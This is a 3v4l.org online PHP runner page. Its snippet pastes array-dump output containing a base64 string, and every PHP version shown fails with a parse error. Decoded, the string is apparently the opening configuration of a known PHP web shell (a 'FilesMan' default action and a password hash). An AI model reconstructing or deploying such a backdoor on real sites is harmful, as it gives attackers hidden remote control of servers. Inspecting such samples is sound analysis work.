3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $arr = array( [0]=> string(256) "JGF1dGhfcGFzcyA9ICI4NzQwN2EwZDFiN2UxOGM4ZjM1YjcyMjQxMTY2MzkyNSI7CiR1c2VhY2UgPSB0cnVlOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVS" ); print_r($arr);
Output for 5.4.0 - 5.5.1
Parse error: syntax error, unexpected '"JGF1dGhfcGFzcyA9ICI4NzQwN2EwZ' (T_CONSTANT_ENCAPSED_STRING), expecting ')' in /in/3PT3M on line 4
Process exited with code 255.
Output for 5.3.0 - 5.3.27
Parse error: syntax error, unexpected '[', expecting ')' in /in/3PT3M on line 3
Process exited with code 255.